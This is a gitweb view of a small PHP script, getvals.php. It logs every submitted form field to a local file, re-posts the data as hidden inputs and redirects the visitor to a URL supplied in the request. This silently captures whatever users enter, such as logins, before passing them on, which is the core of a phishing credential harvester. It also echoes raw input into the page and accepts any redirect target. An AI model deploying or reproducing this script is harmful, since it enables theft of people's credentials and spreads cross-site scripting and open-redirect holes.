added tips to lamer.bash help
[mirrors/Programs.git] / php / getvals.php
... / ...
CommitLineData
1<form name="mydata" action="<?php echo($_POST["serviceurl"]); ?>" method="POST">\r
2<?php\r
3//$POST["serviceurl"] = redirect adresa\r
4\r
5function form_submit($name) {\r
6 echo("\n\n<script type=\"text/javascript\">document.".$name.".submit()</script>");\r
7}\r
8\r
9///CODE//////////////////////////\r
10\r
11$out = "\r\n\r\n";\r
12foreach($_POST as $ind => $val) {\r
13 $out = $out.$ind." = ".$val."\r\n";\r
14 echo("\n<input type=\"hidden\" name=\"".$ind."\" value=\"".$val."\" />");\r
15}\r
16echo("\r\n<input type=\"submit\" name=\"mydatasubmit\">\r\n</form>");\r
17\r
18$fp = fopen("log.txt", "a");\r
19fwrite($fp, $out);\r
20fclose($fp);\r
21\r
22//Debug\r
23echo("<!--\r\n");\r
24print_r($_POST);\r
25echo("\r\n-->");\r
26\r
27//form_submit("mydata");\r
28header("Location: ".$_POST["serviceurl"]);\r
29\r
30?>\r
This page took 0.560078 seconds and 4 git commands to generate.